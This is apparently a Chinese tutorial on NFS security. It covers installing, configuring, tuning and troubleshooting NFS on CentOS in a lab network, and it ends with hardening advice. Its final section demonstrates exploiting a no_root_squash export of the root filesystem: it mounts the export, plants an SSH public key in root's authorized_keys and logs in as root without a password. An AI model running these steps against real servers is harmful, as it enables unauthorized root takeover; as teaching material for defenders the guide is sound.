服务安全 [ NFS ]
0x01 NFS 简介:
NFS 一个比较古老[比自己的年龄都大]
的网络文件系统,不过,相对比较稳定,由服务端和客户端组成 [ 即 C/S 架构 ] ,服务端主要负责提供共享目录 [一般为web的用户数据存放目录,专门用来存放用户上传的各类静态数据],而客户端则负责存取该共享目录中的数据
0x02 NFS 容易产生安全问题的几个点:1
2
3
4共享目录在本地文件系统中的权限问题
NFS服务用户权限设置问题
NFS客户端挂载的安全及性能问题
.....
0x03 环境部署简介 [ 所有系统均以 centOS6.8_x64 最小化安装,只带有必要的环境库 ]:
nfs服务端:1
NfsServer ip: 192.168.4.2
nfs客户端:1
2NfsClient5 ip: 192.168.4.4 为CentOS5.5 i386
NfsClient6 ip: 192.168.4.3
0x04 NFS 的一些优缺点:
优点1
2
3
4NFS 较适合中小型集群,典型特点,高效,灵活,稳定,简单,易用
主要用来存放用户上传的各种静态资源,如,各类视频,图片,office,pdf文件等...,当然啦,比如各类文章数据什么的依然还是会存到数据库中
这样做的好处就是,文件非常规整,容易集中处理 [如,备份,严格权限控制]……
言外之意,也就是说在这里是不会存放有任何后台代码文件的
缺点1
2
3网络状况不是太好的时候,会极大影响传输速度,毕竟不是直接存到本地,而是通过网络存到挂载的远程共享目录中,对网络环境比较依赖
另外,默认用明文传输,无任何验证
多客户端挂载连接的问题,服务端一旦无故down掉,客户端可能会一直处于卡住的状态
0x05 另外,还有一种 linux 文件共享实现 [基于samba]:1
samba 非常小巧,方便,简单,不过更适合用于小型办公内网实现linux和windows之间文件共享用,它有些类似于win下的文件共享,跟NFS完全不是一类东西
0x06 NFS 内部工作细节简要分析:1
2
3
4-> RPC服务端一定要最先起来,即处于bind状态
-> 然后,再启动NFS服务端,NFS服务端在启动时会自动向RPC服务注册数据传输端口 [ 其实就是告诉rpc服务端等会儿可以从哪些端口来传数据 ]
-> 最后,当NFS客户端通过rpc客户端来连的时候,服务端的rpcbind就会把NFS服务端启动时注册的那些端口,告诉它,然后客户端就可以从指定的端口拿到数据了
-> RPC 客户端工具 rpcbind [centos6.x] / portmap[centos5.x]
0x07 准备开始安装NFS,所需的软件包如下:1
2nfs-utils NFS 服务端的主程序,里面包含一些nfs工具
rpcbind [centos6.x] / portmap [centos5.x] RPC 客户端工具
1 | # rpm -qa nfs-utils rpcbind |
0x08 尝试启动 NFS 服务端:1
2
3
4
5
6
7# /etc/init.d/rpcbind start 务必要最先起rpc服务,rpcbind默认工作在tcp/udp的111端口
# /etc/init.d/rpcbind status 确认服务是否已经成功启动
# lsof -i :111
# netstat -tulnp | grep "111"
# chkconfig --list rpcbind 检查是否已经自启动 [ 实际生产环境中不建议用chkconfig实现自启动,可直接把启动命令放到/etc/rc.local文件中 ]
# chkconfig --level 2345 rpcbind off 最好不要这样自启动,等会儿把它放在rc.local文件中
# rpcinfo -p 127.0.0.1 查看端口池
1 | # /etc/init.d/nfs start 再来启动nfs服务,默认工作在2049端口,NFS服务启动以后会自动向rpc注册,其实就是告诉rpcbind等会儿从哪些端口来传数据 |
1 | # chkconfig --list nfs 检查是否已经自启动 [ 同样,不要用chkconfig自启动,用rc.local文件即可,后续方便管理] |
额外补充:
同样是基于chkconfig管理的服务,怎么确保某个服务先起来某个服务后起来呢,其实很简单,到对应服务脚本中去调整下启动顺序即可1
2
3
4
5# vi /etc/init.d/rpcbind
# chkconfig: 2345 13 87
# vi /etc/init.d/nfs
# chkconfig: - 30 60
1 | # echo "/etc/init.d/rpcbind start" >> /etc/rc.local 加入开启启动文件 |
0x09 NFS 主要进程作用简要说明:1
2# ps -ef | egrep "rpc|nfs"
# man rpc.rquotad 直接man进程名即可查看该进程的详细帮助
1 | rpc.statd 文件检验进程 |
0x10 配置 NFS server 端:1
# ls -l /etc/exports NFS主配置文件,默认为空,需要自己手工加参数
0x11 nfs配置文件格式,如下:1
nfs要共享的目录 可以访问的网段或者机器[可以是机器名[需要事先在hosts中解析],ip[支持单个ip或CIDR格式],同时也支持通配符表示][参数1,参数2,参数3...]
1 | # mkdir /data/{file,pic,movie,music,office} -p 首先,创建好要共享的目录,没有实际需求,不要傻到直接把根共享出去 |
rw 表示共享目录可读写[实际是映射在nfsnobody系统服务用户上的],sync表示实时同步写到磁盘,另一种书写方式,和上面的意思其实一样的1
2
3
4
5# vi /etc/exports
/data 192.168.4.*(rw,sync,all_squash)
/data/file 192.168.4.0/24(rw,sync,all_squash)
/data/pic NfsClient6(rw,sync,all_squash)
/data/movie NfsClient5(rw,sync,all_squash)
1 | # /etc/init.d/nfs reload 或者用 # exportfs -r 平滑重启nfs,不影响用户 |
1 | # showmount -e 127.0.0.1 本机查看共享目录 |
0x12 启动并配置 NFS client:
修改两台nfs客户端机器的本地dns解析,并创建好各自的挂载点目录1
2
3# echo "192.168.4.4 NfsClient5" >> /etc/hosts
# echo "192.168.4.3 NfsClient6" >> /etc/hosts
# mkdir /mnt/data/{file,pic,movie,music,office} -p
在 NfsClient6 上尝试挂载1
2
3
4
5
6
7
8# showmount -e 192.168.4.2
# /etc/init.d/rpcbind start
# mount -t nfs 192.168.4.2:/data/pic /mnt/data/pic/
# df -h
# ll /mnt/data/pic/ 看下是否能看到共享目录中的文件,能看见则说明挂载成功
# echo "/etc/init.d/rpcbind start" >> /etc/rc.local
# echo "mount -t nfs 192.168.4.2:/data/pic /mnt/data/pic/" >> /etc/rc.local
# touch /mnt/data/pic/pic_client.txt 此时,你会发现,还不能往挂载到的共享目录里写,因为文件默认的属主是root
在 NfsClient5 上尝试挂载1
2
3
4
5
6
7
8# showmount -e 192.168.4.2
# /etc/init.d/portmap start
# mount -t nfs 192.168.4.2:/data/movie /mnt/data/movie
# df -h
# ll /mnt/data/movie/ 看下是否能看到共享目录中的文件,能看见则说明挂载成功
# echo "/etc/init.d/portmap start" >> /etc/rc.local
# echo "mount -t nfs 192.168.4.2:/data/movie /mnt/data/movie" >> /etc/rc.local
# touch /mnt/data/movie/movie_client.txt 此时,你会发现,还不能往挂载到的共享目录里写,因为文件默认的属主是root
0x13 实现不同用户上传的文件,可以相互读写,NFS的权限操作默认最终都会被映射到nfsnobody这个服务用户上,所以要想读写最简单的办法就是直接改属主1
2
3
4
5
6# cat /var/lib/nfs/etab 该文件是NFS服务器的所有配置参数,默认情况下,所有用户只要访问nfs的共享目录都会被压缩成nfsnobody用户身份
# grep 65534 /etc/passwd
# chown -R nfsnobody.nfsnobody /data/ 服务器共享目录本地文件系统权限控制,改下属主,再次写就能写进去了
# ll /data/
# touch /mnt/data/file/file_client.txt
# ll /mnt/data/file 观察下文件目录的属主,属组,全部变成了nfsnobody
0x14 NFS 故障简单排查 [ 最好的方法就是按照正常的流程一步步的仔细检查 ]:1
2
3
4/etc/services 不知道为什么变成了二进制文件,在其它机器找个services替换过来就好了
防火墙拦截,可以先ping下nfs服务器,然后再尝试telnet到nfs服务器的111端口上看能不能通
权限不够,把共享目录的属主改成 nfsnobody
服务端死掉了,但客户端还正处于挂载状态,此时在客户端上执行 df -h 就会处于挂起的状态[因为客户端还在持续的呼叫],这时直接把客户端挂载点umount掉就好了
0x15 nfs 主要配置参数详解:1
# cat /var/lib/nfs/etab
1 | /data/file 192.168.3.0/24(rw,sync,all_squash,root_squash) 实际中的配置标准,一般像这样就可以了,基本不再需要额外参数 |
1 | rw 可读写 |
1 | no_root_squash 如果访问NFS共享目录的用户是以root身份过来的,那么它对共享目录也有root权限[通常用于无盘工作站],非常危险,大部分NFS安全问题都集中于此 |
0x16 NFS 相关命令及配置文件:1
2
3# /usr/sbin/exportfsnfs 自带的管理工具
# /usr/sbin/showmount 查看server挂载信息
# cat /proc/mounts 查看挂载信息
1 | # cat /var/lib/nfs/etab 查看NFS服务端挂载参数详细配置 |
0x17 客户端挂载优化,实际生产务必用普通用户身份进行挂载 [ 有关挂载选项其实,默认就好了 ]:
mount -o 常用选项简要说明:1
2
3
4
5
6
7
8
9rw
sync
defaults
rw,suid,dev,exec,auto,nouser,async
noexec 不允许执行任何可执行程序
nodiratime 不改变目录时间戳,减少io,提升磁盘性能
noatime 不改变文件时间戳,减少和磁盘的交互,提升性能
nosuid 不允许在此文件系统中做suid
remount 当文件系统不知道因为什么原因变成了只读,可以使用此选项让文件系统重新可写
相对安全的挂载,其实,实际生产情况下,默认的性能基本就很好了1
2
3# mount -t nfs -o nosuid,noexec,nodev,rw,noatime,nodiratime,hard,rsize=131072,wsize=131072 192.168.4.2:/data/movie /mnt/data/movie
# mount -t nfs 192.168.3.38:/data /mnt/web/file
# umount -lf /mnt/web/file 在不退出挂载点目录的情况下强制卸载挂载点
0x18 nfs 相关内核参数优化 [ 增加吞吐量,调整客户端和服务端之间的读写缓冲区大小,最好在nfs客户端,服务端全部同时加上 ] :1
2
3
4
5
6# cat >> /etc/sysctl.conf<<EOF
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
EOF
1 | # sysctl -p |
0x19 配置NFS集群推荐的硬件支持:1
硬盘最好sas/ssd,推荐用raid/raid10,网卡吞吐量要大 [ 可做bond功能,其实蛮简单的,就是将多块网卡合并成一块网卡的技巧 ]
0x20 如果你只是想临时挂下共享目录,完全也可以一句话开启,没必要非去改配置文件[ 防火墙在封闭的内网环境中可以不用,有性能损耗]:1
2
3
4# exportfs -o rw,sync,all_squash 192.168.4.0/24:/data/music/ 配置参数跟配置文件中的是一模一样的,只适合临时共享下,重启nfs即失效
# showmount -e 192.168.4.2
# mount -t nfs 192.168.4.2:/data/music/ /mnt/data/music/
# mount
0x21 大型架构可能会考虑NFS集群,更大型的架构也可能会选择使用分布式文件系统,如 MFS GlusterFS FastDFS
0x22 简单分析nfs日志:1
# grep "nfs" /var/log/messages
0x23 如何最大化利用NFS错误配置:
假设现在我们NFS服务端的配置是这样的,特别注意下这里的共享目录的权限设置为 no_root_squash
, 在前面咱们也已经说明了该选项的作用,通俗点儿讲就是如果客户端是以root身份来访问共享目录的,就以root的身份来操作此共享目录,再来看我共享的是什么,没错,我直接把整个根都共享出去了,也就说根下的所有文件都可以随意操作1
2
3
4# vi /etc/exports
/ 192.168.4.0/24(rw,sync,no_root_squash)
# exportfs -rv
# showmount -e 127.0.0.1
现在,我们再回到NFS客户端以root身份登陆到NFS客户端系统中,然后尝试挂载,说到这里,您应该知道这意味着什么了,意思就是我现在只要挂上去就可以随意操作控制目标系统,如下图所示,虽然,实战中遇到直接把整个根都共享出去的情况并不多[这样的傻缺也可能会越来越少],如果是一些放有重要信息的敏感目录,即使没法直接拿到你的系统权限,但从这些重要目录文件中拿到的各类敏感信息一样不容小觑,比较简单,废话就到此为止,相信大家现在应该非常熟练了1
2
3
4
5
6
7# mkdir /mnt/shell
# mount -t nfs 192.168.4.2:/ /mnt/shell/
# mount
# mkdir /mnt/shell/root/.ssh 如果root目录下没有.ssh目录,就自己手工创建一个
# ssh-keygen 一路回车,空密码
# cat .ssh/id_rsa.pub >> /mnt/shell/root/.ssh/authorized_keys 把公钥丢过去
# ssh root@192.168.4.2 -p 22 直接无需密码远程ssh上去即可
小结:
严格把控NFS服务端共享目录在本地文件系统中的权限,压缩NFS服务用户权限,严格控制挂载选项,做到这些,基本就差不多了,另外,如果没有实际业务需求,尽量不要直接把NFS暴露在公网